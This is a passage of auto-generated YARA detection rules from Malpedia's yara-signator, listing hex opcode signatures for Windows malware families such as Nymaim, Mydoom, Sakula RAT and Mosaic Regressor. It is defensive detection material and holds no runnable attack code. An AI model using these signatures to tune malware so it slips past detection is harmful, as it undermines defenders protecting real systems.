		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d8598fdffff 6804010000 50 6a02 59 }
		$sequence_1 = { 50 6a02 59 e8???????? babab69c31 8bc8 }
		$sequence_2 = { a1???????? 81ec90080000 53 56 57 8d0c4502000000 e8???????? }
		$sequence_3 = { 59 e8???????? ba980aa4bf 8bc8 e8???????? ffd0 8945ec }
		$sequence_4 = { 8b4dd0 8d144502000000 e8???????? a1???????? 8b4dcc 8d144502000000 e8???????? }
		$sequence_5 = { e8???????? 53 8bf0 56 6aff 57 6a00 }
		$sequence_6 = { 8365f800 50 e8???????? 59 85c0 7413 8b4dfc }
		$sequence_7 = { ffd0 e8???????? 8b75d0 85c0 }
		$sequence_8 = { 8945fc b944000000 b000 8b7dfc }
		$sequence_9 = { 50 68e9fd0000 6a02 59 e8???????? bac0bc4316 8bc8 }
	condition:
		7 of them and filesize < 51200
}

rule MALPEDIA_Win_Cmsbrute_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "238a708e-338b-5ab5-8256-9ba00c6b30fb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cmsbrute_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "634330623f3144af6ff0dc1b30b95f2861c0e95f174875a559bba752af7efe44"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f7d1 c1e91f c1e81f 22c1 8bd6 8d4eff c1e91f }
		$sequence_1 = { ffb57cfeffff 83c01c 50 e8???????? 83c40c 85c0 7d0f }
		$sequence_2 = { e9???????? 8b8780000000 8b7758 81c60c010000 8945d4 3bc3 7505 }
		$sequence_3 = { ebad 85f6 7466 8b5d0c 8b03 85c0 7407 }
		$sequence_4 = { ff0e 8b06 85c0 7f3b 7426 68ed010000 bf???????? }
		$sequence_5 = { f645ff40 7412 8b87c0000000 3b86e0000000 0f85bbfeffff 33c0 40 }
		$sequence_6 = { c3 80f92b 740d 80f92d 7408 84c9 74e4 }
		$sequence_7 = { ffb7f8000000 83c620 ff76e8 c1e003 56 57 50 }
		$sequence_8 = { ff4df4 3975dc 7461 c745f001000000 85f6 7456 ff75cc }
		$sequence_9 = { 8b07 59 8983d8040000 e9???????? ff36 8db334040000 e9???????? }
	condition:
		7 of them and filesize < 5275648
}

rule MALPEDIA_Win_Mosaic_Regressor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6545d5ce-704c-5c00-a6cd-ec1b5c909576"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosaic_regressor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mosaic_regressor_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "73c7fd14f8effd7ac9e0816b586de74eff8d0d21c8391e8e84f2921e57196fdb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 670010 386700 1023 d18a0688078a }
		$sequence_1 = { 8975e0 8db1d0a70010 8975e4 eb2a }
		$sequence_2 = { 85c0 7456 8b4de0 8d0c8de0b70010 8901 8305????????20 }
		$sequence_3 = { f3a4 6a1c 8d8c2480060000 51 6a00 ffd5 8d842478060000 }
		$sequence_4 = { 8d442460 50 6a00 ffd5 8d442458 48 8d4900 }
		$sequence_5 = { 895008 8d542458 52 88480c }
		$sequence_6 = { c744241444000000 8bc8 90 8a10 }
		$sequence_7 = { 6a06 89430c 8d4310 8d89c4a70010 5a }
		$sequence_8 = { 8bff 55 8bec 8b4508 ff34c578a10010 ff15???????? 5d }
		$sequence_9 = { 6a00 6a00 6a00 8d942498080000 }
	condition:
		7 of them and filesize < 113664
}

rule MALPEDIA_Win_Rtpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "48afc2d3-0fb5-53bf-8881-dc9c81c0d9e1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rtpos_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "0b0f1725f7ad0b7de27494142fb6c361ef93a30e83e526a4fdbf697f28682ace"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 8b55d4 52 ff15???????? 8b45cc 50 ff15???????? }
		$sequence_1 = { 8d8dd8fcffff 51 e8???????? 83c40c c785c4fcffff00000000 }
		$sequence_2 = { 50 ff15???????? 8b4dcc 51 ff15???????? e9???????? 8b55ec }
		$sequence_3 = { 8945b4 837db4ff 0f84d8010000 33c0 8945e8 8945ec }
		$sequence_4 = { 0f84bc9f0000 ff7508 48 a3???????? }
		$sequence_5 = { 85c0 751b 8b4dd4 51 ff15???????? }
		$sequence_6 = { 6bf830 894df8 6a0a 8b048db86a4300 5b 8b543818 8955ec }
		$sequence_7 = { 8b048db86a4300 f644382848 58 743a 668b55fc 663bd0 7505 }
		$sequence_8 = { c745d800000000 837ddc00 7411 8b4ddc 51 }
		$sequence_9 = { 6a02 8d4dfc e8???????? 8b4d08 c7410801000000 8b5108 8b049524604300 }
	condition:
		7 of them and filesize < 507904
}

rule MALPEDIA_Win_Entryshell_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6aaf8e64-ed2e-5afd-ab35-8772e849151b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.entryshell"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.entryshell_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "00133e95c431c2a3dcea85bea219e4bd4bbb96106a72aed7e1fb3e93342dd945"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 43 895de4 8b049578512501 8945ec 897df0 8a543828 8855ff }
		$sequence_1 = { 5d c3 8d4301 57 50 e8???????? 83c404 }
		$sequence_2 = { 6800020000 8d85f8fdffff 50 ff36 ffd3 85c0 0f855fffffff }
		$sequence_3 = { 6a10 e8???????? 6a40 6a00 8d45a4 50 e8???????? }
		$sequence_4 = { 83c202 6685c0 75f5 8b8df8dfffff 2bd6 83c1fe }
		$sequence_5 = { 60 33d2 8b55f4 33c0 8d05e4382501 33c9 8b0c90 }
		$sequence_6 = { 0101 8d22 0131 8d22 015e8d 2201 8e8d2201558b }
		$sequence_7 = { c705????????00400000 33c0 c3 6a08 68???????? e8???????? 833d????????01 }
		$sequence_8 = { 8bf2 ff15???????? 85c0 7523 68???????? ff15???????? }
		$sequence_9 = { 50 e8???????? 83c414 8d85f8f7ffff 6a00 6a00 6aff }
	condition:
		7 of them and filesize < 663552
}

rule MALPEDIA_Win_Icondown_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "52465a95-defc-5467-a071-e9d8d0b66fd6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icondown"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icondown_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "ff2f5c555fcd472199db73f9b56f95ccfa2dde0f7fa2e7a52a938cbd42967fd9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8b4608 8d542414 52 }
		$sequence_1 = { 8bcf e8???????? 85c0 7415 8b4c2418 8b10 }
		$sequence_2 = { c7466c01000000 8b4b1c 51 ff15???????? 5f 5e 5d }
		$sequence_3 = { e8???????? 8d966c020000 52 68e9030000 57 e8???????? 8d8670020000 }
		$sequence_4 = { 8b8690000000 8b48f8 85c9 740d 8b4e64 50 51 }
		$sequence_5 = { 894e54 8b15???????? 895658 a1???????? 89465c 8b0d???????? }
		$sequence_6 = { 46 f680c11c450004 741c 837d1000 }
		$sequence_7 = { 895658 a1???????? 89465c 8b0d???????? 894e60 8b15???????? 895664 }
		$sequence_8 = { 52 8b481c 51 ff15???????? 8b442404 6a01 }
		$sequence_9 = { 740d 8b01 6a01 ff10 8b4e10 }
	condition:
		7 of them and filesize < 5505024
}

rule MALPEDIA_Win_Nymaim_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "30c4b930-78a7-5077-a5dc-408a5cbb77f2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nymaim_auto.yar#L1-L209"
		license_url = "N/A"
		logic_hash = "84775fe355e4469ac977f6fbd11fdede8794d879792df66f4d5d03f1510d45b2"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89d8 01c8 31d2 f7f7 }
		$sequence_1 = { f7f7 92 31d2 bf64000000 }
		$sequence_2 = { 0f94c1 09c8 6bc064 09c0 }
		$sequence_3 = { 38f0 83d100 38d0 83d900 }
		$sequence_4 = { 010d???????? 8b1d???????? 011d???????? c1eb13 }
		$sequence_5 = { c1eb13 331d???????? 31c3 c1e808 }
		$sequence_6 = { 31c3 891d???????? 89d8 01c8 }
		$sequence_7 = { 31d2 bf64000000 f7f7 5b }
		$sequence_8 = { 38d0 83d900 c1e105 01c8 }
		$sequence_9 = { 00d3 8a16 301e 46 01fb }
		$sequence_10 = { c1e808 31c3 895e0c 89d8 }
		$sequence_11 = { 8b5604 0116 8b4e08 014e04 8b5e0c }
		$sequence_12 = { 8b5d18 8b1b 4f 31c0 fec2 }
		$sequence_13 = { f7e0 0fc8 01d0 894704 }
		$sequence_14 = { 8b5514 8b12 8b4d0c 8b5d18 }
		$sequence_15 = { 31c9 8b55f4 8b75ec 89723c c7424003000000 }
		$sequence_16 = { 56 83ec28 8b450c 8b4d08 8d154e30d201 }
		$sequence_17 = { 83ec44 8b4508 8d0d2030d201 31d2 890c24 c744240400000000 }
		$sequence_18 = { 890424 894c2404 e8???????? 8d0d3430d201 }
		$sequence_19 = { 5b 5d c3 8b45f0 8b0c850440d201 }
		$sequence_20 = { 53 56 57 83ec44 8b4508 8d0d2030d201 }
		$sequence_21 = { 31d2 890c24 c744240400000000 8945f4 8955f0 e8???????? 8d0d8630d201 }
		$sequence_22 = { 55 89e5 83ec10 8b4508 8d0d3430d201 }
	condition:
		1 of them and filesize < 2375680
}

rule MALPEDIA_Win_Akdoortea_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "273d2f0d-acc7-5ac9-9a11-3e8564a6c5a7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.akdoortea"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.akdoortea_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "2fa5ad11741a8504cc8c2573ed395ff2e4f2dd319c182aa1bdba253b5a1bde31"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 006118 40 007019 40 00411a }
		$sequence_1 = { 7641 8d85f0feffff 8d5001 0f1f8000000000 8a08 }
		$sequence_2 = { 8d8df0f9ffff 8d5002 e8???????? 8bf0 83c420 85f6 }
		$sequence_3 = { 8bec 83ec0c 53 8bda 56 8bf1 57 }
		$sequence_4 = { 50 8b04bdf8204200 ff741818 ff15???????? 85c0 0f95c0 eb02 }
		$sequence_5 = { 7439 8d56ff 8a4201 8d5201 84c0 75f6 }
		$sequence_6 = { 90 85f6 740b 83feff 0f859a000000 eb6c 8b1c8d10a24100 }
		$sequence_7 = { e8???????? 83c414 ebe1 8b55ec 8b4de8 8b0495f8204200 807c082800 }
		$sequence_8 = { 83c418 c745f803010000 8d45f8 50 8d4304 50 ff15???????? }
		$sequence_9 = { ffd6 68f4010000 8bf0 ff15???????? 85ff 740e }
	condition:
		7 of them and filesize < 305152
}

rule MALPEDIA_Win_Sisfader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a0cdd7ba-37f5-5dee-9bd0-dfe8ed58e119"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sisfader_auto.yar#L1-L285"
		license_url = "N/A"
		logic_hash = "d369a40cd08ca7aac194db42ed12df65df4a56409fba20e45dda5f2780e9b9bf"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 85c0 b91d000000 0f44d9 }
		$sequence_1 = { 741f 33c0 85c9 7419 }
		$sequence_2 = { 8905???????? c705????????00000000 8b442440 8905???????? }
		$sequence_3 = { ff15???????? 85c0 7e08 03d8 3bdf 7c98 }
		$sequence_4 = { 33c0 83f801 7425 baffffffff }
		$sequence_5 = { 85c0 753e 8d47dc 8903 83f824 723b }
		$sequence_6 = { c705????????10000000 8b442430 8905???????? c705????????07000000 }
		$sequence_7 = { eb5b 837d0800 751f 8b451c 50 8b4d18 }
		$sequence_8 = { 8b4508 8b4808 51 ff15???????? 83c408 8945e0 }
		$sequence_9 = { 837c245000 7405 e9???????? 83bc248000000000 7539 }
		$sequence_10 = { 837c245000 7402 eb12 c744245401000000 33c0 }
		$sequence_11 = { 85c0 7502 eb71 8b45fc 8b08 }
		$sequence_12 = { c7430438020000 66837c247c2e 751f 0fb744247e 6685c0 0f8496010000 6683f82e }
		$sequence_13 = { ff15???????? 83c414 8945d8 837dd800 }
		$sequence_14 = { 8b5118 52 8b45f4 8b4830 51 ff15???????? }
		$sequence_15 = { ff15???????? 8945f8 837df800 7402 eb5b 837d0800 }
		$sequence_16 = { 83ec60 c745fc00000000 c745e000000000 6a40 8b450c 50 e8???????? }
		$sequence_17 = { e8???????? 85c0 7412 ba01000000 b910270000 }
		$sequence_18 = { 89442420 837c242001 7425 837c242002 }
		$sequence_19 = { 5e 5b 8be5 5d c3 3de3e00000 7511 }
		$sequence_20 = { 51 ff15???????? 85c0 0f85ba010000 8b55fc 837a0c00 0f84ad010000 }
		$sequence_21 = { 8a0410 30443924 41 3b4f04 72ee 8b4704 8bd7 }
		$sequence_22 = { 7425 837c242002 7441 837c242003 }
		$sequence_23 = { 0f1086f0000000 c7400410000000 c7400c00000000 0f114014 }
		$sequence_24 = { 8b442464 89442430 8b442468 89442434 }
		$sequence_25 = { a810 746a 8b570c 8d8c2460020000 6a00 e8???????? 83c404 }
		$sequence_26 = { 8bd0 83e20f 8a8c0a00010000 300c18 }
		$sequence_27 = { 685c020000 6a40 ffd6 0f1005???????? 8bf8 8b4508 0f114714 }
		$sequence_28 = { 745d 837c242004 7479 837c242005 0f8480000000 e9???????? }
		$sequence_29 = { c700aaeeddff 33c0 894710 c7470430020000 8d4840 ff15???????? }
	condition:
		7 of them and filesize < 417792
}

rule MALPEDIA_Win_Crackedcantil_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cc3fcc34-6200-516b-a930-713cd7528fd1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crackedcantil"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crackedcantil_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "63fa5a97e37e9297a9b2c0a9f33b3e3f4a0c35e0f5f733be56805a4bbd636bfb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffc8 89442420 837c242400 7e45 488b442428 4883780800 7429 }
		$sequence_1 = { e8???????? 90 488d8c24e06f0000 e8???????? 488d842483000000 488bf8 33c0 }
		$sequence_2 = { f7d9 81e9b2638081 29cb 59 81c3e75cef77 81ebcdbddaf2 01d8 }
		$sequence_3 = { ffc9 8bc9 488b542478 88040a 488b542438 488b4c2478 e8???????? }
		$sequence_4 = { f3aa 0fb684248e000000 88842490040000 660f6f842490570000 660f7f842470350000 488b8424c80f0000 f30f6f00 }
		$sequence_5 = { e8???????? 90 488d842470030000 4889842478030000 488b942478030000 488d0de1993000 e8???????? }
		$sequence_6 = { e8???????? 488bc8 e8???????? 488bc8 e8???????? 898424301c0000 ba08000000 }
		$sequence_7 = { f3aa 488d8424b8020000 488bf8 33c0 b901000000 f3aa 488d8424b9020000 }
		$sequence_8 = { ffc0 89442430 488b442478 0fb74060 ffc8 39442430 7d3d }
		$sequence_9 = { e9???????? 9c 4156 4883ec08 4c893424 ff3424 415e }
	condition:
		7 of them and filesize < 37863424
}

rule MALPEDIA_Win_Mydoom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7e77b916-3ba2-5a80-a19d-24731b91f9bc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mydoom_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "35d52ce2fd0848990f084283aa4885b799e1dbfb0fb9f161e6a1a896179d7494"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89442404 893424 e8???????? ba00000000 eb20 ba00000000 }
		$sequence_1 = { 8d45f8 89442410 c744240c19000200 c744240800000000 895c2404 }
		$sequence_2 = { c3 55 89e5 83ec48 895df4 8975f8 }
		$sequence_3 = { e8???????? c78538feffff44000000 c78564feffff01000000 66c78568feffff0500 }
		$sequence_4 = { 53 81ec94010000 c7442404???????? 8d9d38ffffff 891c24 }
		$sequence_5 = { c7042401000080 e8???????? 83ec14 85c0 7547 893424 e8???????? }
		$sequence_6 = { 380a 7415 42 803a00 7406 }
		$sequence_7 = { 8d85c8fdffff 890424 e8???????? 83ec04 8b4508 890424 e8???????? }
		$sequence_8 = { 8945cc 0fb745e6 668945ca c744240810000000 8d45c8 }
		$sequence_9 = { 8b7508 8b5d0c 803b00 7414 0fbe03 }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Bachosens_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "21e78cd2-1c72-5a79-a705-15dc4e8e3d2a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bachosens"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bachosens_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "34aedbb89c2e7af974768523a03e9308ee6c49afb8486001bfd1e9169e8bf87c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4d8bd4 4d2bdc 4d8bc4 49f7da }
		$sequence_1 = { 488bf9 488b5018 488b5a20 488bd1 488b4b50 e8???????? }
		$sequence_2 = { 49f7da 6666660f1f840000000000 430fb61403 410fb608 }
		$sequence_3 = { 740e 488bc7 ffc1 488d4001 803800 }
		$sequence_4 = { 33d2 385500 740e 488bc5 ffc2 }
		$sequence_5 = { 660f1f840000000000 420fb61407 410fb608 8d429f }
		$sequence_6 = { 41380a 7417 498bc2 660f1f840000000000 ffc1 }
		$sequence_7 = { 66390a 7417 488bc2 0f1f840000000000 ffc1 488d4002 }
		$sequence_8 = { 430fb61403 410fb608 8d429f 3c19 }
		$sequence_9 = { 803800 75f5 3bca 7550 4c63d1 85c9 7e42 }
	condition:
		7 of them and filesize < 643072
}

rule MALPEDIA_Win_Sakula_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5af52a87-4449-5086-85f2-378359f4ae21"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sakula_rat_auto.yar#L1-L238"
		license_url = "N/A"
		logic_hash = "58d4e203f11e4dd863a93827734d462109e66a0a903d18e391705e909badfaf0"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 6800010000 6a00 6a00 68???????? }
		$sequence_1 = { b802000000 eb0a f7d8 1bc0 83e0fd }
		$sequence_2 = { 83e103 8d8396000000 f3a4 8bc8 8a10 40 84d2 }
		$sequence_3 = { 33f6 8d4900 ff15???????? 33d2 b914000000 }
		$sequence_4 = { 889c244b010000 48 8d642400 8a4801 40 3acb }
		$sequence_5 = { eb05 41 3bce 72dd 8d46ff }
		$sequence_6 = { 50 6800040000 57 6a02 51 ff15???????? }
		$sequence_7 = { 6a00 6a00 6a00 53 6aff 56 6a00 }
		$sequence_8 = { 48895c2420 ff15???????? 33d2 488bcb ff15???????? }
		$sequence_9 = { 8b45f8 8b5df4 39d8 721e 741c 29d8 0345fc }
		$sequence_10 = { 4c8d4dd7 4c8d05791d0000 488d0d8a1d0000 33d2 ff15???????? }
		$sequence_11 = { e8???????? 8b45f0 eb02 31c0 50 ff75fc e8???????? }
		$sequence_12 = { 3bc6 745f 4c8d4dcf 4c8d055b1d0000 488d0d7c1f0000 }
		$sequence_13 = { 8b4d08 034df8 0fbe11 83fa41 7c16 8b4508 0345f8 }
		$sequence_14 = { 488bd8 4885c0 0f84d3000000 8d7e2f 33d2 488bc8 448bc7 }
		$sequence_15 = { e8???????? 83f800 7405 8b45ec }
		$sequence_16 = { ff15???????? 488bce 488bd8 ff15???????? 488364243800 488364243000 4c8bc6 }
		$sequence_17 = { ba14008410 488b01 ff5028 3bc6 747d }
		$sequence_18 = { 488b55d7 488b01 488364242000 4c8d0d240f0000 ff9080000000 3bc6 }
		$sequence_19 = { 8945f0 83f800 0f84e7000000 6804010000 ff75f0 }
		$sequence_20 = { 83f800 742e 8b5d08 8b4df4 8b4114 8903 8b4110 }
		$sequence_21 = { 488bce ff15???????? 488364243800 488364243000 8364242800 488364242000 448bc8 }
		$sequence_22 = { 689c000000 e8???????? 8945fc 83f800 0f84ab000000 }
	condition:
		7 of them and filesize < 229376
}

rule MALPEDIA_Win_Qaccel_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f1f0f47f-9fac-5c10-a4e8-a1707e10823b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qaccel_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "3da505a80435da5e26f3793d381f00e69d927d9829311958eb99f2abec85d62f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 0f842b010000 8b7d0c 85ff 0f8420010000 8b4d10 85c9 }
		$sequence_1 = { 0f880a000000 0f8904000000 5f 5f }
		$sequence_2 = { 41 83c210 894df8 8b1b }
		$sequence_3 = { ff15???????? 50 ff15???????? 85db 7525 b941000000 }
		$sequence_4 = { 8bf9 81e1ffff0000 83c102 51 ff15???????? 8bf0 }
		$sequence_5 = { 8b35???????? 83c408 ffd6 99 b91a000000 }
		$sequence_6 = { 5f 8b4d24 85c9 740a 8b45e0 }
		$sequence_7 = { 85c0 0f8439010000 8b55fc 81e2ffff0000 }
		$sequence_8 = { 5f 8b86f0000000 8b550c 50 52 ff15???????? 83c408 }
		$sequence_9 = { 83c9ff f2ae f7d1 2bf9 8d95fcfeffff 8bf7 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Aperetif_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1685b19d-bab9-559e-a837-4099892bca74"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aperetif"
